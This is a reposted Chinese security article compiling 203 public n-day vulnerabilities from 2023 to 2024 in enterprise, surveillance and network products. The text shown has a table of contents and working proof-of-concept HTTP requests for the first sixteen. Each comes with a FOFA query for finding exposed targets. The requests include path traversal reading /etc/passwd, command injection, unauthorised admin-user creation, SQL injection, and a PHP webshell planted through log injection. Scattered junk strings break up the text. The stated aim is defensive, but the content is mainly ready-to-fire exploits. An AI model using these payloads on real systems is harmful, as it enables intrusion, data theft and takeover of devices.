互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
2 c$ I5 G: B# z9 ~% K0 ]. q
( B0 ^3 k: E) P/ ]- e7 C$ }9 L漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

$ v4 u9 N+ h8 ^. s- {9 }/ u! u安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
3 x, u- h% q7 `. s( F& m6 p
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

' x. O6 `! f+ v9 `% M, P( A' n+ b& Y9 _合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

2 C6 i: O+ \# r7 T& B2 R
4 l% f6 Z4 e/ B; G. F- {% Q声明

0 Q9 L) o: q1 Q/ ?5 Q1 Z7 b4 ]为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

5 a9 v1 l7 F! a# d8 b# X8 e9 j有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



4 f9 Q) A& L* l. d0 S, Z目录

01

2 ^( p1 I7 }/ D# p1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
* v9 d( ]4 a+ u& J( x3. EasyCVR智能边缘网关 userlist 信息泄漏
) }! Q( ?- y9 ?1 w4. EasyCVR视频管理平台存在任意用户添加
' `2 o) q2 K. G- s3 ]5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
. u: o/ R# z! x0 U7. 鸿运主动安全监控云平台任意文件下载
. O, Q* p" |1 F, C8. 斐讯 Phicomm 路由器RCE
* ~: g, u, n$ k) |9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
. S7 Q( z  c* i$ @) l" L+ n11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
# B$ P* @% g& m5 p$ i8 d" V12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
4 X' w  e" Y9 T; n- s; [2 i15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
1 a8 ~- ?( K# ^9 @# g$ Q18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
$ m/ Z: E. ^' m1 E6 X  n- g21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
0 Q) [9 N5 ?6 K3 V# U! R, U. B23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
1 u+ T) m# }# V26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
6 I0 S$ O8 s! q5 r8 z# f2 p' }28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
; ?/ @4 w& P5 E# K) g7 S34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
% u  S7 \' T- c" w% J: _4 I36. 用友NC-Cloud soapFormat XXE
/ @5 Y, T6 _& A/ w  u0 w37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
0 M' E! D1 V4 i2 A0 @( j' h39. 用友U8 Cloud RegisterServlet SQL注入
1 l5 L7 z2 s5 c. _6 {# R, m40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
5 |+ k% N5 B. o4 Y) G" k- M44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
# c1 ]' E$ B2 v51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
" @! T1 ?) J+ t52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
+ E9 a4 c5 ^0 I0 R( D: b54. 畅捷通T+ getstorewarehousebystore 远程代码执行
* X( R" Q$ }: q+ J55. 畅捷通T+ getdecallusers信息泄露
0 O) k6 L7 c( S% ~0 y$ G" u56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
" V3 O6 Q$ v3 C, I+ G59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
8 Q: u6 `# r; V2 X( C4 R62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
! w6 P% Z  a# g64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
3 l* N! z9 w" n$ l: u2 k, h! q66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
. X% B( ?" U: `9 T67. 万户ezOFFICE wpsservlet任意文件上传
8 B4 L6 v8 T$ ?1 A68. 万户ezOFFICE wf_printnum.jsp SQL注入
, N. P! I! ~; k2 J69. 万户 ezOFFICE contract_gd.jsp SQL注入
) n# f/ p8 A7 U/ P0 t1 J70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
0 ^: E  U7 x9 I9 X5 w6 F+ G72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
6 e' }( f/ r4 y74. 致远M3-server 6_1sp1 反序列化RCE
& r' {  F' \1 U. d: U! D75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
6 J4 k/ q9 o% j76. 新开普掌上校园服务管理平台service.action远程命令执行
4 h7 U/ h* {: N1 D" H77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
2 [/ L; f5 H  i% K84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
) V5 t; U; ?0 _8 x$ v7 Q2 ]85. SysAid On-premise< 23.3.36远程代码执行
; p/ r- u8 v# y7 B# S3 |; h86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
# W1 ?6 y- k! V4 d9 O89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
) d, N& M, d0 ]! P. G# W92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
# K& C: g7 h& a. }94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
& M5 h* e8 y8 }2 k4 x2 J% m96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
! P9 H$ k% d" E( }102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
' j8 l2 a& `- C+ Z103. Ivanti Pulse Connect Secure VPN XXE
. N5 m# o. x# R  w4 O104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
2 S8 G; s/ Q. k. v1 G105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
6 M& c. q" f- k& H( z' E2 n5 s) ^107. SpringBlade tenant/list SQL 注入
8 y+ A, i) c4 A" O6 O2 \108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
& w  r5 X/ T4 m# X0 o112. WordPress Plugin NotificationX SQL 注入
: T2 K* q2 x2 r' @- p113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
2 ^( s0 O' ]' F+ S* R' \115. WordPress Bricks Builder <= 1.9.6 RCE
4 C0 m  M6 p# W$ \+ e* T6 x116. wordpress js-support-ticket文件上传
1 n7 G$ \6 R& P! n) v, \- c117. WordPress LayerSlider插件SQL注入
; i9 S) L: _0 b$ }# I118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
& M1 W% n+ z4 P8 F; L0 a121. 北京百绰智能S42管理平台userattestation.php任意文件上传
; n( Q( P. Y$ P$ ^9 A/ ~122. 北京百绰智能s200管理平台/importexport.php sql注入
' ]0 @, H4 `5 e7 j123. Atlassian Confluence 模板注入代码执行
( z8 D+ J. b/ R2 G8 U& f2 H% v( l124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
  a  @) J# W0 a$ r6 j5 Y128. Adobe ColdFusion 反序列化
9 t& ^3 O; `% Z+ ~8 D" i& G! e129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
* N3 M! Z( {, \7 G131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
. h( K. \& p' g2 E135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
/ c% H  e* \/ @. G# a, \136. NextChat cors SSRF
" w  ]; d; M, I# e: P! F) u' T137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
+ l! D+ u+ f) R139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
' Y2 P# W( V2 y8 o141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
1 d6 x+ \4 ?0 {: N142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
4 g2 t' K! T9 ]2 g# U144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
4 X( W9 B/ x. z; g( S( _/ |147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
* p: t# @$ P' J- M+ C8 h4 S/ ^6 e152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
, I, M* M9 w& n& J" L; g& J. c154. 天维尔消防救援作战调度平台 SQL注入
" M( @0 p! G. W$ E& P1 ~5 w155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
) Y3 f, q# }) a' \157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
/ e/ H5 ~4 E! X: |) r2 h159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
+ V7 U& T6 L( k, y160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
4 k) U4 u9 [0 B162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
& ^3 H8 h% J" _- m) F163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
! g9 O7 g4 `5 y# {166. 中成科信票务管理平台SeatMapHandler SQL注入
1 N; t5 W+ g7 K( \+ P( p167. 精益价值管理系统 DownLoad.aspx任意文件读取
+ D2 k  r0 M) `6 ]: J1 R7 g168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
8 W8 B8 V* r7 v, \$ Y171. 通天星CMSV6车载定位监控平台 SQL注入
7 H. U! m1 ~( q% B3 Y172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
" m) z+ q& X6 S2 a1 M9 o176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
! ~9 D. f- v! c/ h178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
" ~3 b; B& H! {/ [$ N180. 帮管客 CRM jiliyu SQL注入
( a0 ~0 h+ B9 M# Q8 W% \4 a181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
( w: A: ~% i! N182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
8 E- ^4 a; s! e* T: m2 z1 K( I184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
$ R6 X$ M( X9 C) ^4 |  R185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
3 p, o9 D' a) _  U9 {187. Mura CMS processAsyncObject SQL注入
* O9 @. r; t; B5 l8 i; a188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
; a+ u+ R0 r3 D2 F: z; N, t190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
3 \$ b1 \% h3 T4 l+ \" C' U192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
6 e) i; I% |  t. J5 O194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
. C# X+ {8 g; D9 r196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
+ W7 ~( u/ D7 X1 c$ ~202. 微擎系统 AccountEdit任意文件上传
( [1 k# }, ?) c3 x) L6 w8 f9 l203. 红海云EHR PtFjk 文件上传
) R9 P; Y2 U5 Z0 S6 ^
+ w( l' L: e9 r1 ?. Y  C; ~+ K: v$ XPOC列表
( E% Z/ B) I* h2 l; g3 l
02
9 p1 o: N2 d" g4 ?9 M: W* A0 h$ _
+ c( I( E# c6 d8 e2 g$ m7 h1. StarRocks MPP数据库未授权访问
. P) y; j0 p$ m" F- b( WFOFA ：title="StarRocks"
" ^6 ^) x: U/ H: p- Y# w% }* qGET /mem_tracker HTTP/1.1
Host: URL
2 y8 d3 B0 h5 A+ c

: w& n! G  [! _$ U2 p% C8 O5 f2. Casdoor系统static任意文件读取
! Q" J5 l; Q! P) ]FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
" u3 M& g* P8 S$ `Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
, g# {3 W6 A! ~- i- u( s! X- a8 |FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
, R3 v! R; `2 ]  _& }Host: xx.xx.xx.xx

2 `$ z# w) C- O3 c) u9 }& d
4. EasyCVR视频管理平台存在任意用户添加
) g# |0 T3 {: y' V0 b0 GFOFA ：title="EasyCVR"
- R, w  z* c  v
( F" n" e. @- z- dpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
: V; {' ~) q7 }8 W" \

5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
7 Z0 B- {$ r( d# xGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
- [+ }" k6 h8 @* M7 HHost: xx.xx.xx.xx
- h  J+ }' k0 a6 G( W
+ Z! G1 f8 @# _
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


) @" y6 w. x3 D! B) v# g, [2 I6 Z7. 鸿运主动安全监控云平台任意文件下载
. h- z) O' X. N! L' q! ^4 S* i2 EFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

  }% @+ H5 V$ w3 _; r+ m
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
3 ?& Q1 \! B, \9 MContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
6 w  n" j1 k; G5 l
. c% B7 a; V6 i, x) z" n) F5 X7 A------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
5 p6 g: s9 Y! A- w7 o' p5 l6 g0 hContent-Disposition: form-data; name="wifiRebootrange"
  x: |% m4 K( E& L$ c2 W" p
1 h7 [. O+ b  p6 |! T7 Q* b, E- V12:00; id;
! a  |. q0 K, V( Y7 W7 e1 \& c) c; v------WebKitFormBoundaryxbgjoytz
2 P% N/ C+ M6 V* D0 Q# G+ lContent-Disposition: form-data; name="wifiRebootendrange"
# s3 n3 s& J5 \# T
* h( B" Z; x. `5 w4 }% i% S) J) @%s:
6 |* n6 D0 D3 y5 I4 m. A------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
& D. \1 O5 [' O$ f" N  ~
+ P! A; ~8 w: ]( J
$ N( \2 n2 F2 X" s* @------WebKitFormBoundaryxbgjoytz--


" F0 H& ]& M7 o9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
( B( R% n3 u/ _$ g) OGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
6 ^- g8 G4 u0 w6 q" Q0 D: zHost: x.x.x.x
$ ]* G7 U. E" W8 C
, ~0 _) s- |# u1 x0 K
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
4 ~2 ]6 U4 {# a( o( T
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
8 M) ^9 \4 H& S. Q$ pFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
! \& i: G, S7 \) A7 [/ X% a( RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
1 [+ B0 D- |1 P6 g, M6 m3 M: PAccept-Language: zh-CN,zh;q=0.9
/ U/ s+ Y5 c0 ]* iConnection: close
' m7 w: f3 ~) h1 l' p. BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

: @3 n5 C& `4 \6 p- U------WebKitFormBoundaryxdgaqmqu
+ u- t$ {( U+ m+ M+ N! J( [% a) U$ rContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
, C# Y3 e3 ^& V- y( F0 \

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
( J+ G( Z8 [. g7 V2 U; FGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
- V5 J0 k7 A* b3 f9 cCache-Control: no-cache
0 k3 t  m0 ~" U  kUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( [( m+ }$ |/ Y& Q( O, g! X5 N+ S; CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 x2 E! P1 B4 o$ a" a4 f  ^; dAccept-Encoding: gzip, deflate
1 f3 l! s- Z7 t6 E+ m  Z; {Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

3 T8 {4 U  K7 f4 v6 F: E$ q
12. Jorani < 1.0.2 远程命令执行
* s/ e, |* C" H( c9 H( a# oFOFA：title="Jorani"
# R' A* D. O0 K9 [; {6 d第一步先拿到cookie
GET /session/login HTTP/1.1
; J9 U/ h/ n- p) O2 e& }/ [Host: 192.168.190.30
6 J$ _% d; c5 G' I, H& E4 RUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% i1 F- h! c  n( Z- T  W  s# YConnection: close
) R0 _, T9 r+ |9 j4 WAccept-Encoding: gzip
* M& j# D% w" W/ i6 T% v
) {" k/ }7 s  F- o
0 w) E  D9 U  ]- v响应中csrf_cookie_jorani用于后续请求
* M& u5 A' N5 f  ]1 d3 ~/ h+ @HTTP/1.1 200 OK
- `7 n5 E: N% HConnection: close
Cache-Control: no-store, no-cache, must-revalidate
* B9 H6 H' b# E, D; Y' vContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
- F# X: E; @- q' y" aExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
/ |! a5 v4 |% h; vPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
0 `4 y8 P6 D0 c3 OVary: Accept-Encoding
& z  I- N" O$ c7 {

POST请求，执行函数并进行base64编码
0 l8 g+ @7 T+ q9 nPOST /session/login HTTP/1.1
' \( F  O- v0 I# \Host: 192.168.190.30
! l7 D0 w! p' Z5 d' CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
( Z7 m* E6 M, }5 A/ }" GConnection: close
Content-Length: 252
: ?9 ]0 d1 K- I" ]Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
$ a; |$ J5 `$ B. v! n8 _. e4 O
& ^1 K1 M1 Y1 y* V: F! ?+ qcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
! i7 H1 L7 Y, M  @  J: N

2 y* s+ l- i" {0 `7 I1 y* ^) H7 S
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
1 {3 a) B' X- S: T9 [( FHost: 192.168.190.30
; d1 q. u2 g7 O) M  EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


+ A! v: w4 I* X4 w- B+ q, h4 `13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
8 ?: K% ^* C/ p$ ?; M  x5 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip

& T3 ^4 \% y3 d8 `
3 P9 P+ E: W& P9 J- J14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
9 w8 H5 g! s9 f6 UGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
% |- r& X8 X) D$ ]  ~: OAccept-Encoding: gzip

) i, Q- {; D8 K+ u! r' X9 q  F
15. 华夏ERP getAllList信息泄露
. _6 z$ k  R0 m5 O2 bCVE-2024-0490
, l& ?( i. @5 ^' ^7 D9 d( ]3 CFOFA：body="jshERP-boot"
/ g( p$ L* G( U6 c4 U6 l- A泄露内容包括用户名密码
) t& l2 z0 P/ L6 f# X$ M8 tGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
1 u- N9 f& G5 j1 l! ^) }4 i" ZHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
) e. v3 y. m7 ]Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
5 }4 s% u1 |, b7 H/ usec-ch-ua-platform: Windows
2 y- C! E1 ]1 v2 ~+ E8 h2 nAccept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
) O) o' g( d' ?) ^9 tpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
8 G- C% A) v. y! Z4 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
